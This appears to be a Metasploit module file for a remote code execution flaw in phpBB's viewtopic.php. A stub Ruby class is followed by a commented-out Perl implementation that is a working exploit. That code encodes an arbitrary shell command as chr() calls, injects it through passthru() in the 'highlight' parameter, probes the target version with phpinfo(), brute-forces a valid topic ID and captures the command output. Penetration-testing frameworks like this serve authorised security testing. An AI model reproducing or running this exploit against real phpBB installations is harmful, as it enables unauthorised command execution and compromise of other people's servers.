296 lines
6.8 KiB
Ruby
296 lines
6.8 KiB
Ruby
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require 'msf/core'
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module Msf
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class Exploits::Windows::XXX_CHANGEME_XXX < Msf::Exploit::Remote
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include Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'phpBB viewtopic.php Arbitrary Code Execution',
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'Description' => %q{
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This module exploits two arbitrary PHP code execution flaws
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in the phpBB forum system. The problem is that the
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'highlight' parameter in the 'viewtopic.php' script is not
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verified properly and will allow an attacker to inject
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arbitrary code via preg_replace().
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},
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'Author' => [ 'Anthony S. Clark(valsmith) <asclark@lanl.gov>', 'hdm' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'OSVDB', '11719'],
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[ 'OSVDB', '17613'],
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[ 'MIL', '85'],
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[ 'BID', '14086'],
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],
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "",
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},
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'Targets' =>
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[
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[
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'Automatic Targetting',
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{
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'Platform' => 'any',
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'Ret' => 0x0,
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},
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],
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],
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'DisclosureDate' => 'Nov 12 2004',
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'DefaultTarget' => 0))
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end
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def exploit
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connect
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handler
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disconnect
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end
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=begin
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##
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# This file is part of the Metasploit Framework and may be redistributed
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# according to the licenses defined in the Authors field below. In the
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# case of an unknown or missing license, this file defaults to the same
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# license as the core Framework (dual GPLv2 and Artistic). The latest
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# version of the Framework can always be obtained from metasploit.com.
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##
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package Msf::Exploit::phpbb_highlight;
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use base "Msf::Exploit";
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use Pex::Text;
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use strict;
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my $advanced = { };
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my $info =
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{
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'Name' => 'phpBB viewtopic.php Arbitrary Code Execution',
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'Version' => '$Revision$',
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'Authors' =>
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[
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'Anthony S. Clark(valsmith) <asclark [at] lanl.gov>',
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'H D Moore <hdm [at] metasploit.com>',
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],
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'Arch' => [ ],
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'OS' => [ ],
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'Priv' => 0,
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'UserOpts' =>
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{
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'RHOST' => [1, 'ADDR', 'The target address'],
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'RPORT' => [1, 'PORT', 'The target port', 80],
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'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
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'PHPBB_ROOT' => [1, 'URL', 'The phpBB root Directory', '/phpbb'],
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'TOPIC' => [0, 'DATA', 'The ID of a valid topic'],
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'SSL' => [0, 'BOOL', 'Use SSL'],
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},
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'Payload' =>
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{
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'Space' => 1024,
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'Keys' => ['cmd', 'cmd_bash'],
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},
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'Description' => Pex::Text::Freeform(qq{
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This module exploits two arbitrary PHP code execution flaws in the
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phpBB forum system. The problem is that the 'highlight' parameter
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in the 'viewtopic.php' script is not verified properly and will
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allow an attacker to inject arbitrary code via preg_replace().
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}),
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'Refs' =>
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[
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['OSVDB', '11719'],
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['OSVDB', '17613'],
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['MIL', '85'],
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['BID', '14086'],
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],
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'DefaultTarget' => 0,
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'Targets' =>
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[
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['Autotarget',0],
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['phpbb <2.0.11', 1],
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['phpbb <2.0.15', 2],
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],
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'Keys' => ['phpBB'],
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'DisclosureDate' => 'Nov 12 2004',
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};
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sub new {
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my $class = shift;
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my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
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return($self);
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}
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sub Exploit {
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my $self = shift;
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my $target_host = $self->GetVar('RHOST');
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my $target_port = $self->GetVar('RPORT');
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my $vhost = $self->GetVar('VHOST') || $target_host;
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my $cmd = $self->GetVar('EncodedPayload')->RawPayload;
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my $target_idx = $self->GetVar('TARGET');
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my $phpbb_root = $self->GetVar('PHPBB_ROOT');
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my $topic = $self->GetVar('TOPIC') || $self->FindTopic();
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my $target = $self->Targets->[$target_idx];
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my $url;
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my $byte;
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if (! $topic) {
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$self->PrintLine("[*] No valid topic ID found, please specify the TOPIC option.");
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return;
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}
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# Add an echo on each end for easy output capturing
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$cmd = "echo _cmd_beg_;".$cmd.";echo _cmd_end_";
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# Encode the command as a set of chr() function calls
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if ($target_idx == 0) {
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$url = $phpbb_root."/viewtopic.php?t=$topic&highlight=";
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$url .= "%2527"."%252e"."phpinfo()". "%252e"."%2527";
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my $request =
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"GET $url HTTP/1.1\r\n".
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"Host: $vhost:$target_port\r\n".
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"Connection: Close\r\n".
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"\r\n";
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$self->PrintLine("[*] Trying to determine which attack method to use...");
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my $s = Msf::Socket::Tcp->new
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(
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'PeerAddr' => $target_host,
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'PeerPort' => $target_port,
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'SSL' => $self->GetVar('SSL'),
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);
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if ($s->IsError) {
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$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
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return;
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}
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$s->Send($request);
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my $results = $s->Recv(-1, 20);
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$s->Close();
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if ($results =~ /\<title>phpinfo/) {
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$target_idx = 1;
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}
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else { $target_idx = 2; }
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}
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if ($target_idx =~ /1/) {
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$byte = join('%252e', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));
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$url = $phpbb_root."/viewtopic.php?t=$topic&highlight=";
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$url .= "%2527"."%252e"."passthru($byte)". "%252e"."%2527";
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}
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if ($target_idx =~ /2/) {
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$byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));
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$url = $phpbb_root."/viewtopic.php?t=$topic&highlight=";
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$url .= "%27."."passthru($byte)".".%27";
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}
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my $request =
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"GET $url HTTP/1.1\r\n".
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"Host: $vhost:$target_port\r\n".
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"Connection: Close\r\n".
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"\r\n";
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$self->PrintLine("[*] Sending the malicious GET request...");
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my $s = Msf::Socket::Tcp->new
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(
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'PeerAddr' => $target_host,
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'PeerPort' => $target_port,
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'SSL' => $self->GetVar('SSL'),
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);
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if ($s->IsError) {
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$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
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return;
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}
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$s->Send($request);
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my $results = $s->Recv(-1, 20);
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$s->Close();
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if ($results =~ m/_cmd_beg_(.*)_cmd_end_/ms) {
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my $out = $1;
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$out =~ s/^\s+|\s+$//gs;
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if ($out) {
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$self->PrintLine('----------------------------------------');
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$self->PrintLine('');
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$self->PrintLine($out);
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$self->PrintLine('');
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$self->PrintLine('----------------------------------------');
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}
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}
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return;
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}
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sub FindTopic {
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my $self = shift;
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my $target_host = $self->GetVar('RHOST');
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my $target_port = $self->GetVar('RPORT');
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my $vhost = $self->GetVar('VHOST') || $target_host;
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my $phpbb_root = $self->GetVar('PHPBB_ROOT');
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for (my $topic = 1; $topic < 32; $topic++ ) {
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my $s = Msf::Socket::Tcp->new
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(
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'PeerAddr' => $target_host,
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'PeerPort' => $target_port,
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'SSL' => $self->GetVar('SSL'),
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);
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if ($s->IsError) {
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$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
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return;
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}
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$self->PrintLine("[*] Checking topic ID value $topic...");
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my $request =
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"GET $phpbb_root/viewtopic.php?topic=$topic HTTP/1.1\r\n".
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"Host: $vhost:$target_port\r\n".
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"Connection: Close\r\n".
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"\r\n";
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$s->Send($request);
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my $results = $s->Recv(-1, 20);
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$s->Close();
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if ($results =~ /class="postdetails"/s) {;
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$self->PrintLine("[*] Discovered valid topic ID value $topic");
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return $topic;
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}
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}
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return;
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}
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1;
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=end
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end
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end
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